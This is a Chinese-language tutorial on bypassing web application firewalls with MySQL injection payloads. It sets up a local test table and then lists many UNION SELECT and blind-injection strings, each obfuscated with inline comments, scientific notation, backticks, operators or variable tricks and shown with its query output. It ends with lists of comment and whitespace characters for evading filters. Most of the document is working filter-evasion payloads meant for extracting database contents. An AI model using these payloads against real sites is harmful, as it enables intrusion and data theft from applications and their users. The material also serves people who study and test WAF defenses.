bypasswaf for mysql [数据库层面之特殊字符篇]



0x01 先准备好用于测试库表及数据:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> create database injection;
mysql> use injection;
mysql> CREATE TABLE IF NOT EXISTS `user`(
`id` INT UNSIGNED AUTO_INCREMENT,
`username` VARCHAR(30) NOT NULL,
`password` VARCHAR(40) NOT NULL,
`email` VARCHAR(40) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> insert into user(username,password,email) values('gentoo','superman','sec@rootkit.org');
mysql> insert into user(username,password,email) values('arch','welcome','lin@hook.org');
mysql> insert into user(username,password,email) values('admin','loginpass','xlion@priv.org');

测试表数据:

1
2
3
4
5
6
7
8
mysql> select * from user;
+----+----------+-----------+-----------------+
| id | username | password | email |
+----+----------+-----------+-----------------+
| 1 | gentoo | superman | sec@rootkit.org |
| 2 | arch | welcome | lin@hook.org |
| 3 | admin | loginpass | xlion@priv.org |
+----+----------+-----------+-----------------+

测试表结构:

1
2
3
4
5
6
7
8
9
mysql> desc user;
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(30) | NO | | NULL | |
| password | varchar(40) | NO | | NULL | |
| email | varchar(40) | NO | | NULL | |
+----------+------------------+------+-----+---------+----------------+

0x02 mysql中的一些特殊字符利用:
最常见的内联注释:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union/**/(select/*!*/!.1,(select/*!50000*/schema_name from information_schema.schemata limit 0,1),2) ; -- +
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 0 | information_schema | 2 |
+----------+--------------------+-------+

利用科学计数:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/**/select+null,null,null ;-- -
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| NULL | NULL | NULL |
+----------+----------+-------+

利用加减号特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union/*!*/select+null,-null,/*!null*/ ;-- -
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| NULL | NULL | NULL |
+----------+----------+-------+

1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union (select+1,+(select+schema_name/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+

利用反引号特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select+1,+(select+`schema_name`/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+

利用破折号特性,适合用在盲注中:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,(select(schema_name)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------------------+--------------------+-------+
| username | password | email |
+----------------------+--------------------+-------+
| 18446744073709551614 | information_schema | 2 |
+----------------------+--------------------+-------+

利用 ! 特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,!(select(schema_name)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------------------+----------+-------+
| username | password | email |
+----------------------+----------+-------+
| 18446744073709551614 | 1 | 2 |
+----------------------+----------+-------+

利用 @ ``特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,!(select(@`schema_name`)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------------------+----------+-------+
| username | password | email |
+----------------------+----------+-------+
| 18446744073709551614 | NULL | 2 |
+----------------------+----------+-------+

利用 . 特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/1,(select(@`schema_name`)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| 1 | NULL | 2 |
+----------+----------+-------+

利用单双引号特性:

1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/'1',(select("schema_name")/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+-------------+-------+
| username | password | email |
+----------+-------------+-------+
| 1 | schema_name | 2 |
+----------+-------------+-------+

利用各种括号特性,如,花括号[小括号,总括号]:

1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/(1),(select("schema_name")/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+-------------+-------+
| username | password | email |
+----------+-------------+-------+
| 1 | schema_name | 2 |
+----------+-------------+-------+

利用后向引用对付拦截 union+select+from:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-1|@sel:=(select schema_name from information_schema.schemata limit 0,1)/*!50000union*//*!50000*//*!50000select*/ 1,@sel,2;
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+

单独拦截select的情况:

1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e12union/*!50000select distinctrow*/+version(),+database(),user();
+------------+-----------+----------------+
| username | password | email |
+------------+-----------+----------------+
| 5.7.17-log | injection | root@localhost |
+------------+-----------+----------------+

拦截select 和 from 之间有特殊字符的情况,这种情况比较适合盲注:

1
2
3
4
5
6
mysql> select if((select 4,\N) > (select 2,\N),30,20);
+-----------------------------------------+
| if((select 4,\N) > (select 2,\N),30,20) |
+-----------------------------------------+
| 30 |
+-----------------------------------------+

1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union select if((select length(schema_name),\Nfrom information_schema.schemata limit 1) > (select 1,\N),110,0),2,3;
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| 110 | 2 | 3 |
+----------+----------+-------+

灵活配合利用各类空白符,注释符:
注释符:

1
2
3
4
5
6
7
8
#
--
-- -
--+
/**/
/*!*/
/*!50000*/
......

空白符:

1
09 0A 0B 0C 0D A0 20 .....

一点小结:
    说实话,指望单一的技巧其实是很难bypass掉现在的waf的,把前辈们的思路和技巧变着法的灵活配合起来,才有可能达到想要的效果,bypasswaf也确实是一个比较漫长的过程,因为需要你不断的去发掘各种新的一些偏门的可利用的数据库,前端脚本,http协议及各类web中间件的特性,当然啦,这次仅仅是基于各种数据库层面来说,来日方长,我们后面还会有大量的篇幅来说这个东西,今天只是先打个照面,混个脸熟…